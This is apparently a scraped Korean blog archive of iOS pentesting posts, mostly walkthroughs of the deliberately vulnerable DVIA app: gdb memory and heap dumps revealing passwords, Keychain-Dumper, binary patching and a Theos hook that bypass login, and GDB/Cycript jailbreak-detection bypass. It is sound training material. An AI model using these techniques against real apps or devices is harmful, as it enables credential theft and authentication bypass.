유니코드 -> 한글 결과 :
저작자 표시 비영리 동일 조건 변경 허락
신고

[DVIA] 11. Sensitive Information in memory


메모리에 중요 정보 노출


111. Sensitive Information in memory




Q1. A couple of properties with the name "Password" & "Username"

몇몇 속성의 이름은 "Password""Username" 


Q2. An instance variable named "passwd" 

인스턴트 변수 명은 passwd이다.


# pe -ef | grep Damn


# gdb -p 1200


(gdb) b malloc

(gdb) c

(gdb) finish - > 사용하지 말 것!!


(gdb) i r r0

(gdb) i mach-region 0x00000000 0xFFFFFFFF

(gdb) dump memory [메모리 덤프 명] 0x00000000 0xFFFFFFFF

+ (gdb) info mach-regions : 메모리 맵 및 구역 속성 확인

+ (gdb) info mach-regions 0x00000000[address] : 특정 address가 속해있는 구역의 특성

+ (gdb) info mach-tasks : attach 할 프로세스 정보 확인

+ (gdb) info mach-task [PID] : 하나의 프로세스[PID]에 대한 정보 확인



(gdb) q


덤프 생성 확인


Hex Editor를 이용하여 덤프를 확인하였으나, 메모리 내 "Password" & "Username"확인하지 못했지만 인스턴트 변수는 확인(DVIA 를 사용한 후 메모리 덤프 추천 ex, Runtime Maniulation에 Login Method 등)


패스워드가 안나오는걸 보니 이건 아니듯한데..


[추가] 메모르 덤프 쉘 스크립트


메모리 덤프 소스를 약간 수정해서 만든 쉘 스크립트



dump.sh


일단은 DVIA 애플리케이션에서 Appication Patching 파트 내 Login Method 1 기능을 이용하여 로그인 시도한다. 메모리 내 Heap 영역은 사용자가 애플리케이션을 실행한 후 사용된 정보들이 동적으로 기록되는 영역이다.


이제 위에서 다운받은 쉘 스크립트를 iDevice에 삽입한다. 

처음 삽입한 쉘 스크립트에 실행 권한이 없으므로 권한을 부여하며, 힙 덤프를 추출할 애플리케이션 바이너리 명칭을 획득한다. 


# chmod 777 dump.sh

# ps -ef | grep Damn

# ./dump.sh DamnVulnerableIOSApp


해당 폴더 하위에 애플리케이션 이름으로 생성된 폴더가 보이며, 하위에는 heap 덤프를 한 파일들이 존재한다. 해당 파일 내 이전에 로그인 시도한 패스워드 기록이 남아있는 것을 확인 가능하다.


원본 다운로드 : https://github.com/NetSPI/heapdump-ios

저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

iOS Memory 문자열 변조(String Edit in iOS Memory)  (0) 2016.04.20
[DVIA] 11. Sensitive Information in memory  (0) 2015.01.26
iOS GNU Debugger 설치  (0) 2015.01.20
iRET, Snoop-it 동시 설치  (0) 2014.11.23
iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12

iOS GNU Debugger 설치


설치 환경 : iOS 8.1.2 (iPhone 5)

추가 소스 : http://cydia.radare.org/





저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

iOS Memory 문자열 변조(String Edit in iOS Memory)  (0) 2016.04.20
[DVIA] 11. Sensitive Information in memory  (0) 2015.01.26
iOS GNU Debugger 설치  (0) 2015.01.20
iRET, Snoop-it 동시 설치  (0) 2014.11.23
iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12

iRET, Snoop-it 동시 설치


iRET과 Snoop-it을 설치 시 "trying to overwrite '/Applications/._.DS_Store'" 에러 메시지 출력


#dpkg-deb -x iRET.deb iRET_tmp/                            #패키지 내용 추출

#dpkg-deb -e iRET.deb iRET_tmp/DEBIAN/               #컨트롤 파일 추출

#find iRET_tmp/ -name "*DS_Store" -type f -delete    #모든 DS_Store 파일 삭제

#vi iRET_tmp/DEBIAN/control                                    #버전 태그 더블쿼터(")

#dpkg-deb -b iRET_tmp/ updated_iRET.deb             # 새로운 deb 파일 생성


iRET과 Snoop-it 두개의 패키지는 모두 ._.DS_Store을 포함하고 있어 충돌 다는 것으로 추측한다. iRET을 언팩하고 다시 패키징하여 충돌 이슈를 제거했다.



Snoop-it 설치 된 iDevice에서 에러 없이 updated_iRET.deb 파일 설치 가능합니다.


※ 참조 : http://oldmanlab.blogspot.kr/2014/11/trying-to-overwrite-applicationsdsstore.html

저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

[DVIA] 11. Sensitive Information in memory  (0) 2015.01.26
iOS GNU Debugger 설치  (0) 2015.01.20
iRET, Snoop-it 동시 설치  (0) 2014.11.23
iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12
[DVIA] 03. Runtime Manipulation  (0) 2014.09.11

iNalyzer5

40./42. iOS 2014.11.23 17:55

iNalyzer5




 iNalyzer - AppSec : https://appsec-labs.com/inalyzer/

 Doxygen : http://www.stack.nl/~dimitri/doxygen/download.html

 Graphviz : http://www.graphviz.org/Download_windows.php












# cd /Application/iNalyzer5.app/

# ./iNalyzer5











iNalyzer5.7z



저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

iOS GNU Debugger 설치  (0) 2015.01.20
iRET, Snoop-it 동시 설치  (0) 2014.11.23
iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12
[DVIA] 03. Runtime Manipulation  (0) 2014.09.11
[DVIA] 02. Jailbreak Detection  (5) 2014.09.11

[DVIA] 10. Binary Patching


모바일 애플리케이션의 실행 파일을 패치함으로써 애플리케이션의 기능을 영구적으로 변경 가능하다. 



101. Login Method 1


DVIA 모바일 애플리케이션에서 바이너리 패치 문제 중 첫번째 "Login Method 1"는 계정과 비밀번호로 인증하는 기능이다. 계정과 비밀번호가 틀려도 로그인 가능하면 성공이다.


계정과 비밀번호에 aa로 인증 시도하였으나, Oops 경고창을 확인했다.


# 진행 단계 #

1. 테스트 실행 (로그인 불가능)

2. Snoop-it을 이용하여 동적 Object-C Class/Object-C Method 호출 확인

3. IDA(Disassembler)를 이용하여 Object-C Method 동작 확인

4. Hex Editor를 이용하여 바이너리 패치

5. 실행권한 및 소유자 변경

6. 동작확인



iDevice에서 Snoop-it 실행하고, DVIA를 선택한다.


DVIA를 실행하고 메뉴에서 Binary Patching을 선택한다. Snoop-it에서 DVIA내 Object-C Class 호출을 트레킹하여 아래와 같이 초록색 동그라미로 표시해 준다. Binary Patching 메뉴를 선택하면 호출되는 Object-C Class는 UIViewController 내 ApplicationPatchingVC, ApplicationPatchingDetailsVC임을 확인 가능하다. 


ApplicationPatchingDetailsVC Object-C Class에서 -(void)loginMethod1Tapped:(id)arg0;라는 Object-C Method가 로그인 버튼(Login Method 1) 클릭시 동작하는 기능임을 추측한다. 


이제 DVIA를 실행파일을 추츨하러 iDevice에서 터미널로 접근하다.

실행 파일의 위치는 ps를 이용하여 확인 가능하다.


# ps -ef | grep Damn


실행 파일 추출 전, otool 명령어를 이용하여 암호화 여부를 확인한다.

#otool -l /Application/DamnVulnerableIOSApp.app/DamnVulnerableIOSApp | grep crypt

만일 cryptid가 1이면 AppStore에 올릴때 Apple에서 암호화한것이므로 Clutch와 같은 툴을 이용하여 암호를 해독한 후 추출해야한다.


WinSCP를 이용하여 추출하였으나 다른 방법도 무방하다.


이제 디스어셈블러를 이용하여 분석을 할 것이다.

일단 IDA를 실행하여 이전에 추출한 실행파일을 올린다. (사용한 IDA버전은 6.5)


IDA 좌측에 Functions Windows에서 Function name을 검색한다. 이전에 확인한 ApplicationPatchingDetailsVC내 loginMethod1Tapped를 검색한다.


loginMethod1Tapped 메소드는 아래 이미지와 같이 동작한다.

(열심히 이미지 수정을 하였으나, 업로드 이미지가 똥이다.ㅡㅡ)

일단 상단에서 계정이 Admin인지 확인을 하고 분기문(BEQ)를 이용하여 나눠진다.

만일 Admin이 맞다면 그다음 비밀번호가 This!sA5Ecret인지 확인한다.

비밀번호 또한 맞다면 로그인 성공 페이지를 보며주고, 둘다 틀리다면 로그인 실패 페이지를 보여준다.


첫번째 분기문에서 스페이스를 누르면 아래와 같이 주소 정보를 확인 가능하다
__text:0001F3C6    BEQ    loc_1F42C


Hex Editor를 이용하여 해당 주소 값을 변경한다. (BEQ -> BNQ)

BEQ loc_1F42C == 31D0

BNQ loc_1F42C == 31D1


두번째 분기문에서 스페이스를 눌러서 아래와 같이 주소 정보를 확인한다.

__text:0001F41E    BEQ    loc_1F438


Hex Editor에 주소 검색을 이용하여 쉽게 주소 위치 검색 가능하다.


Hex Editor를 이용하여 해당 주소 값을 변경한다. (BEQ -> BNQ)

BEQ loc_1F42C == 31D0

BNQ loc_1F42C == 31D1


이제 변경한 실행파일을 다시 iDevice에서 넣는다.


실행 권한과 사용자를 변경한다.

# chmod 755 DamnVulnerableIOSApp

# chown mobile.staff DamnVulnerableIOSApp


이제 로그인 시 계정과 비밀번호에 aa만 넣어도 로그인 인증이 성공한다.




102. Check For Jailbreak



Login Method 1과 동일


103. Show alert


Show alert문제는 I love Google이라고 출력되는 경고창을 I Love Apple로 변경하라는 문제이다. 


# 진행 단계 #

1. 테스트 실행 (I love Google)

2. 실행 파일 추출 Hex Editor를 이용하여 바이너리 패치

3. 실행권한 및 소유자 변경

4. 동작확인


실행 파일 위치 확인 및 추출한다.

# ps -ef | grep Damn


Hex editor에서 I love Google을 검색(Text String)하여 I love apple!로 변경한다. Google과 Apple의 문자열 길이다 다르기 때문에 친절하게 느낌표(!)를 넣었다. 


실행 권한을 부여한다.

# chmod 755 


Show alert을 이용하여 I love Apple! 문자열을 확인한다.


014. kill Application



Login Method 1과 동일








저작자 표시 비영리 변경 금지
신고

'40. > 42. iOS' 카테고리의 다른 글

iRET, Snoop-it 동시 설치  (0) 2014.11.23
iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12
[DVIA] 03. Runtime Manipulation  (0) 2014.09.11
[DVIA] 02. Jailbreak Detection  (5) 2014.09.11
[DVIA] 01. Insecure Data Storage  (0) 2014.09.10

[DVIA] 03. Runtime Manipulation


Runtime Manipulation은 모바일 애플리케이션이 실행 중에 GDB, Cycript 등을 이용하여 동적으로 기능을 변경하는 방법이다. 


GDB나 Cycript는 이전 [DVIA] 02. Jailbreak Detection에서 사용하였으므로 이번에는 Snoop-it과 Theos/MobileSubstrate(Tweak)을 이용할 것이다.


031. Login Method 1


Theos는 Xcode를 사용하지 않고 iDevice의 소프트웨어를 관리, 개발 및 배포 가능한 크로스 플랫폼 개발 도구이다. ThoOS는 탈옥한 iOS에서 Tweak을 개발하기 위한 중요한 도구이다.


DVIA 모바일 애플리케이션에서 Login Method 1을 클릭하면 "Oops"라는 경고창을 확인 가능하다.


# 진행단계 #

1. 테스트 실행(로그인 불가능)

2. Theos 트윅 개발

3. 트윅 설치

4. 실행 확인


# /private/var/theos/bin/nic.pl

Choose a Template (required): 5

theos를 실행하고 [5.] iphone/tweak을 선택한다. 

Project Name (required): DVIBypass

Package Name [com.yourcompany.dviabypass]:

Author/maintainer Name [System Administrator]:

[iphone/tweak] MobileSubstrate Bundle filter [com.apple.springboard]: com.highaltitudehacks.dvia

[iphone/tweak] List of application to terminate upon installation (space-separated, '-' for non) [SpringBoard]: -

MobileSubstrate Bundle filter에서 입력할 정보는 우리가 Tweak을 적용할 모배일 애플리케이션 명을 선택하며 DVIA의 전체 명칭를 적어준다.


현재 디렉토리에 DVIABypass.plist, Makefile, Tweak.xm, control, theos@가 생성된다. 그중 Tweak.xm이라는 파일에 후킹할 Object-C Class와 Object-C Method를 적어주면 된다.


후킹할 Object-C Class는 RuntimeManipulationDetaileVC 내 isLoginValidated이며, 해당 return 정보가 YES이면 로그인 인증이 성공하고, NO이면 로그인 인증이 실패한다.

해당 정보는 Class-dump-z를 이용하여 Object-C Class/Method를 확인 가능하다.

%hook RuntimeManipulationDetailsVC

- (BOOL)isLoginValidated {

return YES;

}

%end


export THEOS_DEVICE_IP=192.168.10.105 : 현재 iDevice의 IP주소

export SDKVERSION=8.1 : iOS 버전(8.1.2) 및 SDK 버전

export THEOS=/private/var/theos/ : theos 설치 경로


# make package install


com.yourcompany.dviabypass_0.0.1-1_iphoneos-arm.deb가 생성됨을 확인 가능하다.


또한, install명령어로 해당 패키지가 자동으로 설치 되어있다.


이전과 차이점은 /Libary/MobileSubstrate/DynamicLibraries 아래 DVIABypass.dylib와 DVIABypass.plist가 생성되어 있다.

MobileSubstrate는 기본적으로 모바일 후킹(Mobile Hooker), 모바일 로더(MobileLoader), 안전모드(Safe mode) 3가지 기능을 지원해준다.


Cydia 패키지를 확인하면 아래와 같이 설치됨을 확인 가능하다.



DVIA으로 돌아가서 로그인을 시도하면 계정과 비밀번호를 몰라도 로그인이 가능하다.





032. Login Method 2


Snoop-it은 동적으로 모바일 앱을 분석하기 위한 툴이다. 다양한 기능을 제공하나 Analysis/Objective-C Classes에서 Setup and Invoke라는 기능을 이용하여 로그인 우회를 할 것이다. 


Runtime Manipulation에서 계정과 비밀번호를 이용하여 로그인을 해야한다.


Snoop-it을 실행하고 DVIA을 선택한다.


DVIA를 실행한 후 웹 브라우저로 iDevice의 IP주소로 접근하면 아래와 같이 Snoop-it이 정상 실행되는 것을 확인 가능하다. DVIA에서 Runtime Manipulation 화면을 호출하면 Object-C Classes에서 RuntimeManipulationDetailsVC가 호출됨을 트레킹 가능하다.


RuntimeManipulationDetailsVC/-(void)pushSuccessPage;(Object-C Class/Object-C Method)를 선택한 후 우측 상단에 setup and invoke 기능을 실행한다.


invoke Method 메소드 호출한다.


DVIA 애플리케이션을 확인하면 로그인 성공 페이지가 강제로 호출됨을 확인가능하다.







저작자 표시 비영리 변경 금지
신고

'40. > 42. iOS' 카테고리의 다른 글

iNalyzer5  (0) 2014.11.23
[DVIA] 10. Binary Patching  (0) 2014.11.12
[DVIA] 03. Runtime Manipulation  (0) 2014.09.11
[DVIA] 02. Jailbreak Detection  (5) 2014.09.11
[DVIA] 01. Insecure Data Storage  (0) 2014.09.10
[iOS] Logify  (0) 2014.07.24

[DVIA] 02. Jailbreak Detection


iOS 탈옥(iOS jailbreaking)은 iOS의 제한을 풀어 사용자의 루트에 접근할 수 있게 함으로써 서명되지 않은 코드를 실행할 수 있게 하는 과정을 말한다. 보안 상으 문제로 탈옥을 탐지하도록 되어있으며 DVIA를 이용하여 탈옥 탐지 우회를 시도 할 것이다.

※ 탈옥을 하는 이유 중 하나는 앱플과 앱 스토어가 막아 놓은 컨텐츠에 접근성 때문에 탈옥합니다. 



021. Jailbreak Test 1 (GDB)


DVIA 모바일 앱에서 Jailbreak Detection을 메뉴를 선택한 후 "Jailbreak Test 1"을 확인하면 탈옥 탐지를 확인하는 "Device is Jailbreken" 경고 메시지를 확인 할 수 있다.


# 진행단계 #

1. 테스트 실행(탐지)

2. Class 정보 획득

3. GDB 사용 (Break Point 설정)

4. Jailbreak Test 클릭

5. Break Point로 인하여 일시 정지

6. 탈옥 탐지 후 리턴 정보 수정

7. RUN


Class-dump-z를 이용하여 실행 중인 DVIA의 Class 정보를 획득한다.

~ # ps -ef | grep "Damn"

~ # class-dump-z /var/mobile/Application/[DVIA 설치 ]/DamnVulnerableIOSApp.app/DamnVulnerableIOSApp > DVIA.classdum.txt


텍스트 파일로 저장한 DVIA class 정보를 분석하여 - (void) jailbreakTest1Tapped: (id) tapped; 변수에서 탈옥 탐지 여부에 대한 정보를 저장하는 것을 확인 가능하다.


GNU 소프트웨어 시스템을 위한 기본 디버거인 GDB를 이용하여 실행 중인 DVIA에 attach 한다. 

~ # gdb

(gdb) attach [DVIA 앱 이름].PID



이전에 Class-dump-z에서 확인한 jailbreakTest1Tapped에 중단점을 걸어둡니다.

(gdb) b jailbreakTest1Tapped:


(gdb) c


(gdb) c

계속 진행하다보면 BreakPoint에 걸린 주소 위치가 출력이 됩니다.


disassemble 명령어를 이용하여 어셈블리 코드를 확인합니다.

(gdb) disassemble

blx는 링크 포함 분기 및 교환 명령어 세트 정보를 담고 있으며, 이전에 경고 메시지를 출력한 Object_msgSend를 호출할 때도 이용하기 때문에 모든 blx 주소를 저장하여 중단점을 걸어둡니다.


 참조 : http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0204ik/Cihfddaf.html


(gdb) b *주소


(gdb) c

(gdb) x/s $r1

레지스트리 $r1에 저장된 변수를 확인하며, Class-dump-z에서 분석한 "showAlertForJilbreakTestIsJailbroken:"이 발견 될 때까지 진행합니다.


"showAlertForJilbreakTestIsJailbroken:"을 확인합니다.


(gdb) set $r2 = 0

(gdb) c

레지스트리 $r2에는 함수에서 탈옥 탐지를 수행하고 return 될 정보가 담겨있으며, 해당 정보를 0으로 세팅합니다.


DVIA 앱으로 돌아가면 탈옥 탐지가 우회한 "Device is Not Jailbroken" 메시지를 확인 가능합니다.


022. Jailbreak Test 2 (Cycript)


DVIA 모바일 앱에서 Jailbreak Detection을 메뉴를 선택한 후 "Jailbreak Test 2"을 확인하면 탈옥 탐지를 확인하는 "Device is Jailbreken" 경고 메시지를 확인 할 수 있다.


# 진행단계 #

1. 테스트 실행(탐지)

2. Class 정보 획득

3. Cycript 실행하여 변수 변경

4. RUN



Class-dump-z를 이용하여 실행 중인 DVIA의 Class 정보를 획득한다.

~ # ps -ef | grep "Damn"

~ # class-dump-z /var/mobile/Application/[DVIA 설치 ]/DamnVulnerableIOSApp.app/DamnVulnerableIOSApp > DVIA.classdum.txt

UIViewController Object 내 JailbreakDetectionVC 함수에서 탈옥 탐지하는 변수(- (BOOL) isJailbreaken;)을 확인합니다.


# cycript -p [PID]

cy# UIApp [UIViewController 접근]

cy# JailbreakDetectionVC.messages [JailbreakDetectionVC에서 사용하는 변수 주소 출력]


 참조 : http://www.cycript.org/


cy# JailbreakDetectionVC.messages['isJailbreaken'] = function () { return NO };


DVIA 앱으로 돌아가면 탈옥 탐지가 우회한 "Device is Not Jailbroken" 메시지를 확인 가능합니다.


 Cycript 단점 : GDB처럼 실행 시 동적으로 변수이 불가능합니다. 모바일 앱은 실행하되 메모리에 저장된 변수 정보를 변경하는 메모리 변조와 동일합니다




저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

[DVIA] 10. Binary Patching  (0) 2014.11.12
[DVIA] 03. Runtime Manipulation  (0) 2014.09.11
[DVIA] 02. Jailbreak Detection  (5) 2014.09.11
[DVIA] 01. Insecure Data Storage  (0) 2014.09.10
[iOS] Logify  (0) 2014.07.24
[DVIA] Damn Vulnerable iOS Application  (0) 2014.07.21

[DVIA] 01. Insecure Data Storage


Insecure Data Storage는 중요한 데이터를 적절한 보호없이 장치 내에 저장할때 발생하는 취약점입니다.


011. Plist


/var/mobile/Application 디렉토리는 iOS 모바일 앱이 설치되는 샌드박스 저장 공간으로 iDevice에서 사용자가 설치한 모든 모바일 앱에 대한 정보 및 실행 파일이 존재한다.

프로퍼티 리스트 (property list) 는 Mac OS X, iOS, NeXTSTEP, GNUstep 프로그래밍 소프트웨어 프레임워크 등에 이용되는 객체 직렬화 를위한 파일 이다. 또한 . plist 라는 확장자 를 가지므로, 보통 plist 파일이라고 하는 경우가 많다. 프로퍼티 리스트 파일은 보통 사용자의 설정을 저장하는데 쓰인다. 또한, 번들과 애플리케이션 소프트웨어 정보를 저장하기 위해서도 사용되고, 이전 맥 OS 에서는 리소스 포크 정보를 저장하는데에 사용되었다.

- 위키백과


username/passwd 입력후 "Save in Plist file"을 누른다.


해당 정보는 앱 샌드박스(application sandbox) 디렉토리 내 plist 확장자를 가진 파일에 저장된다.

간단하게 plist를 보는 프로그램은 다양하지만 iRET을 통하여도 plist 정보를 확인 가능하다.



012. NSUerDefaults


NSUserDefaults을 사용하여 저장하는 모든 정보는 암호화되지 않은 형태로 저장된다.


해당 정보는 하위 경로에 저장된다.

Library -> Preferences -> $AppBundleld.plist

중요 정보를 저장할때 NSUserDefaults를 사용하는건 좋은 방법이 아닌걸 확인 가능하다.



013. Keychain


Apple devices는 비밀번호 관리 기능으로 유용하게 사용하는 키체인(KeyChain)을 이용한다. 키체인은 dump를 이용하여 획득이 가능하며, 해당 정보는 웹 사이트 로그인정보, 신용카드 정보, 무선네트워크 정보 및 모바일 앱 설정에 따라서 앱 계정 정보가 저장 가능하다.


※ 다운로드 : https://github.com/ptoomey3/Keychain-Dumper


keychainDumper 실행한다.


keychain에 저장된 모든 정보 확인 가능하다.



014. Core Data


iDevice에서 사용하는 데이터베이스인 sqlite는 sqlite 또는 db라는 확장자를 가지고 있다. 경우에 따라서 확장자가 없는 경우도 있으며, PE구조를 확인하면 SQL 문구를 확인 가능하다. iOS 모바일 앱에서 데이터를 데이터베이스 형태로 저장 가능하다.






find ./ -name *sql*

sqlite3 ./Documents/CoreData.sqlite

sqlite> .tables

sqlite> .heaaders on

sqlite> select * from ZUSER;








저작자 표시 비영리 동일 조건 변경 허락
신고

'40. > 42. iOS' 카테고리의 다른 글

[DVIA] 03. Runtime Manipulation  (0) 2014.09.11
[DVIA] 02. Jailbreak Detection  (5) 2014.09.11
[DVIA] 01. Insecure Data Storage  (0) 2014.09.10
[iOS] Logify  (0) 2014.07.24
[DVIA] Damn Vulnerable iOS Application  (0) 2014.07.21
GikDBG iOS assembly-level debugger iOS 디버거  (3) 2014.07.17

[iOS] Logify

40./42. iOS 2014.07.24 15:01

Logify.pl


Logify is a utility that accepts a class header (.h file) as input and generates a MobileSubstrate extension (.xm file) which hooks all of that class's methods, printing log messages when they are called. This helps a hook developer see when certain methods are invoked during use. Comes with Theos.


사용법


실행은 bash 명령어 입력란에 다음과 같이 사용하면 된다.

 logify.pl SomeClassHeader.h > tweak.xm


This will create a new tweak source file (tweak.xm) using the methods defined in the header file `SomeClassHeader.h`. You can then use tweak.xm as the basis for a new tweak project, or integrate the generated code into your own project.


이슈


Doesn't generate any output if the interface line doesn't have a subclass, e.g. @interface MyClass, replace with @interface MyClass : NSObject


※ 참조 : http://iphonedevwiki.net/index.php/Logify



저작자 표시
신고

'40. > 42. iOS' 카테고리의 다른 글

[DVIA] 02. Jailbreak Detection  (5) 2014.09.11
[DVIA] 01. Insecure Data Storage  (0) 2014.09.10
[iOS] Logify  (0) 2014.07.24
[DVIA] Damn Vulnerable iOS Application  (0) 2014.07.21
GikDBG iOS assembly-level debugger iOS 디버거  (3) 2014.07.17
iRET  (0) 2014.07.16

DVIA Solution



01. Insecure Data Storage

011. Plist

012. NSUserDefaults

013. Keychain

014. Core Data


02. Jailbreak Detection

021. Jailbreak Test 1

022. Jailbreak Test 2


03. Runtime Manipulation

031. Login Method 1

032. Login Method 2


04. Piracy Detection

041. Check for Piracy

042. Check for Piracy


05. Security Decision via Untrusted input

051. call


06. Side Channel Data Leakage

061. Device Logs

062. App Screenshot

063. Pasteboard

064. Keystroke logging


07. Transport Layer Protection

071. Send Over HTTP

072. Send Over HTTPS


08. Client Side Injection

081. what is your name ?


09. Broken Cryptography

091. Set a password here


10. Binary Patching

011. Login Method 1

012. Check For Jailbreak

013. Show alert

014. Kill Application


저작자 표시
신고

'40. > 42. iOS' 카테고리의 다른 글

[DVIA] 01. Insecure Data Storage  (0) 2014.09.10
[iOS] Logify  (0) 2014.07.24
[DVIA] Damn Vulnerable iOS Application  (0) 2014.07.21
GikDBG iOS assembly-level debugger iOS 디버거  (3) 2014.07.17
iRET  (0) 2014.07.16
[Cydia App] iDevice VNC용 Veency  (0) 2014.07.16

GikDBG iOS assembly-level debugger


GikDBG는 모바일 플레폼에서 실행 가능한 응용 프로그램(모바일 앱)을 위한 어셈블리 디버거이다. 32bit Microsoft Windows기반의 OllyDBG, GNU Project debugger의 GDB, collection of modular and reusable compiler and tool-chain technologies의 LLVM


URL : http://gikir.com


iOS 디버거와 Android 디버거를 지원하고 있지만, Android의 경우 원격 디버거가 많기 때문에 희소성 있는 iOS 디버거를 테스트를 시도했다.


gikir은 처음 다운로드 받아 압축을 해제하면 디버깅을 많이 해보신 분들을 ollydbg를 가장 먼저 눈에 보이지만, 이번엔 iOS 디버깅이니 Ollydbg보다 gikdbg.exe와 gikshl.exe에 익숙해지는 것이 좋을 것 같다.




iDevice에 설치할 GDB원격 서버는 gikdbg\iserver 폴더에 gikir_iserver.deb 패키지를 확인 가능하다. 



이 패키지를 i-funbox와 같은 툴을 이용하여 iDevice에 옮긴다.


설치

# dpkg -i gikir_iserver.deb



iDevice에 gikir_iserver 앱을 확인 가능하다.


gikdbg iphone server를 실행하면 아래와 같은 화면을 확인 가능하다.

USB 디버깅 mode를 사용한다면 user와 pype이 필요 없지만 wi-fi 디버깅 mode를 사용한다면 user가 인증 시 필요하다.



gikdbg.exe를 실행하면 gikshl.exe가 자동으로 실행되면서 접근 가능하도록 해줘야하는데 이상하게 테스트 시 접근이 불가능하거나 gikdbg.exe 프로세스가 종료된다. 그래서 먼저 gikshl.exe을 먼저 실행하고 진행하였다.

※ 주의 ifunbox와 itunes를 먼저 설치된 PC에서 진행해야합니다.


ollydbg를 사용할때는 File-Attach를 이용하여 프로세스에 접근하지만 iOS App에 접근할 때는 iDebug-Attach를 이용하여 접근한다.


Attach 가능한 프로세스(iOS app) 목록을 확인 가능하다.



그중 디버깅하고싶은 프로세스를 선택하면 아래와 같은 메시지 창을 확인 가능하다.


확인 - 확인



아래와 같이 정상적으로 실행한 모습을 확인가능하다.



아직까지는 동적 디버깅이 가능하지 않은 것 같다. 아니면 내가 못하는거..

iOS에 직접 붙어서 디버깅을 하는 것이 아니라 해당 프로세스를 덤프떠서 Windows에서 디버깅 하는 것같아 좀 아쉬웠다. IDA도 Mach-O 파일을 분석해주기 때문에 체감은 처음 이 툴을 발견했을때 기대치가 반감되었다.


참고로 중국인이 만든 툴이다. 영어와 중국어를 번역하며 사용법을 익혔지만 아직 완벽하지 않습니다. F&A와 Q&A가 모두 중국어라 구글 번역을 사용했지만 한글도 해석해야하는 수준의 번역이 나와서... 


저작자 표시
신고

'40. > 42. iOS' 카테고리의 다른 글

[iOS] Logify  (0) 2014.07.24
[DVIA] Damn Vulnerable iOS Application  (0) 2014.07.21
GikDBG iOS assembly-level debugger iOS 디버거  (3) 2014.07.17
iRET  (0) 2014.07.16
[Cydia App] iDevice VNC용 Veency  (0) 2014.07.16
iOS App 정적 분석용 Class-dump-z  (0) 2014.07.15

iRET

40./42. iOS 2014.07.16 09:56


iRET


iOS에서 실행가능한 APP을 모의해킹 시 반복되는 작업을 줄이기 위한 툴



iRET을 설치하기 전에 의존성의 문제로 필요한 작업이 존재한다. 아래 툴들이 iRET을 설치 할 디바이스에 필수 로 설치되어야 한다. 해당 툴은 Cydia를 이용하여 쉽게 설치 가능하다. Cydia에서 설치 불가능하다면 apt-get을 이용하여 다운로드 및 설치 가능하다.

 - Python (2.5.1 or 2.7) (Need to be Cydia ‘Developer’)

 - coreutils

 - Erica Utilities

 - file

 - adv-cmds

 - Bourne-Again Shell

 - iOS Toolchain (coolstar version)

 - Darwin CC Tools (coolstar version)

 - An iOS SDK (presumably iOS 6.1 or 7.x) installed to /theos/sdks













iRET의 경우 소스코드가 공개되어있으며, python으로 작성되어있다.

python 소스를 분석하면 iRET을 구동 시 필요한 툴을 find를 이용하여 검색하고 해당 PATH을 변수에 저장하여 사용한다. 특정 툴이 (Not install)이 표시되는 경우는 해당 라이브러리나 프로그램이 설치가 되지 않아서 찾을 수 없기 때문이다. 해당 툴을 직접 설치하고 재시작하면된다.




저작자 표시
신고

Veency


If your device has ever been just out of reach, this package is for you: you'll never need to touch your iPhone, iPad, or iPod Touch again! Instead, sit back and enjoy the comfort of remotely logging into your phone via VNC. You can view the screen, touch controls, and even push the lock and menu buttons all from the comfort of your desk- or laptop.


To activate, install it and then go to Settings and set a password. When connections come in you will get a notification dialog asking if you want to accept. You can tell whether there are any active clients by way of an icon on the status bar. Just remember: VNC is not a very fast protocol ;P.


The default Mac OS X Screen Sharing VNC client is compatible, among many others. The App Store also includes some VNC clients.


(I recommend turning off the cursor in your client, since it causes some graphical artifacts. If you want a cursor, you can use the one that Veency provides. I also recommend using 8-bit color depth as it is much more usable.)


VNC(Virtual Network Computing, 가상 네트워크 컴퓨팅)는 컴퓨터 환경에서 RFB 프로토콜을 이용하여 원격으로 다른 컴퓨터를 제어하는 그래픽 데스크톱 공유 시스템이다. 자판과 마우스 이벤트를 한 컴퓨터에서 다른 컴퓨터로 전송시켜서 네트워크를 거쳐 그래픽 화면을 갱신하는 방식을 제공한다.

- 위키백과




























저작자 표시
신고

iOS App 정적 분석용 Class-dump-z


Why a yet another class-dump?


Class-dump는 17년전 Steve Nygard가 작성한 Objective-C Class 추출용 Command-line 도구이다. 이 개발은 2007년 쯤에 중지되었으며 최근 ABI를 지원하지 않는다. 2008년에 Holly Lee가 class-dump-x을 개발하였으나, 잘못된 Offset계산이나 속성등을 제공하지 않는 등 상속(inherited) 문제를 가지고 있었다. 이후 KennyTM이 상속 문제와같은 문제를 해결해가면서 class-dump-z를 만들었다.


class-dump-z는 class-dump 재 개발하고 있다.  현제 최신버전 3.2는 2.0 ABI를 지원해주지만 class-dump보다는 ivar offect 계산은 여전이 나쁘다.  



- 64-bit 지원 (iPhone RAM이 4GiB 이하)

- Objective-C 1.0 ABI.


※ 다운로드 : https://code.google.com/p/networkpx/wiki/class_dump_z


해당 블로그는 Class-dump-z의 설치까지만 작성합니다.


설치 디바이스 : iPad mini 2 (64-bit) 탈옥















저작자 표시
신고

'40. > 42. iOS' 카테고리의 다른 글

iRET  (0) 2014.07.16
[Cydia App] iDevice VNC용 Veency  (0) 2014.07.16
iOS App 정적 분석용 Class-dump-z  (0) 2014.07.15
iOS Application Security Part 1-Setting Up a Mobile Pentesting Platform  (1) 2014.06.14
Damn Vulnerable iOS Application(DVIA)  (1) 2014.06.14
iOS App 크랙방지  (3) 2014.05.02

iOS Application Security Part 1-Setting Up a Mobile Pentesting Platform


모바일 모의해킹 플래폼 환경 설정


※ 참조 : http://highaltitudehacks.com/2013/06/16/ios-application-security-part-1-setting-up-a-mobile-pentesting-platform/


